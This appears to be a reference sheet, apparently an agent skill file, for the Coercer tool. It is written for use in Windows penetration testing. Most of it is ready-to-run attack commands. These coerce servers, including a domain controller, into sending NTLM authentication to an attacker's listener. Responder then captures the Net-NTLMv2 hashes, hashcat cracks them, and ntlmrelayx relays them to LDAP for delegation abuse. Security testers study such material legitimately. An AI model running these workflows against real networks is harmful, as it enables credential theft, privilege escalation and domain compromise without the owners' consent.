AeonDave Coercer
Force Windows servers to authenticate (NTLM) to your listener — enables relay, capture, and hash extraction.
Concept
Coercer abuses multiple RPC protocols/methods that trigger a Windows host to initiate an outbound NTLM authentication to an attacker-controlled IP. The captured Net-NTLMv2 hash can be:
- Cracked offline (Hashcat/John)
- Relayed in real-time (ntlmrelayx) to access other systems
Quick Start
# Coerce auth from a server, capture with Responder
# Terminal 1: Start Responder
responder -I eth0 -wv
# Terminal 2: Coerce auth
coercer coerce -l 10.10.14.1 -t 10.10.10.10 -u user -p password -d domain.local
Sub-commands
| Command | Description |
|---|---|
coerce |
Trigger authentication coercion |
scan |
Scan target for available coercion methods |
fuzz |
Fuzz available RPC methods |
Core Flags
| Flag | Description |
|---|---|
-l <ip> |
Listener IP (attacker machine) |
-t <ip> |
Target IP (Windows server to coerce) |
-u <user> |
Username for auth to target |
-p <pass> |
Password |
-d <domain> |
Domain |
-H <hash> |
NTLM hash |
--filter-protocol-name <name> |
Only use specific protocol (e.g., MS-RPRN) |
--filter-method-name <name> |
Specific RPC method |
--always-continue |
Continue despite errors |
Supported Protocols
| Protocol | Common Name |
|---|---|
MS-RPRN |
PrinterBug / SpoolSample |
MS-EFSR |
PetitPotam |
MS-DFSNM |
DFSCoerce |
MS-FSRVP |
ShadowCoerce |
MS-EVEN6 |
EventLog |
Attack Workflows
Capture Net-NTLMv2 Hash
# 1. Start Responder
sudo responder -I eth0 -wv
# 2. Coerce target
coercer coerce -l 10.10.14.1 -t 10.10.10.10 -u user -p pass -d corp.local
# 3. Responder captures hash → crack offline
hashcat -a 0 -m 5600 hash.txt rockyou.txt
NTLM Relay to LDAP (for S4U2Self / RBCD)
# 1. Start ntlmrelayx targeting DC LDAP
ntlmrelayx.py -t ldap://dc.corp.local --delegate-access -smb2support
# 2. Coerce DC authentication
coercer coerce -l 10.10.14.1 -t dc.corp.local -u user -p pass -d corp.local
Scan Available Methods
coercer scan -t 10.10.10.10 -u user -p pass -d corp.local
Resources
| File | When to load |
|---|---|
references/ntlm-relay.md |
Full relay chain setup, ntlmrelayx options, RBCD exploitation |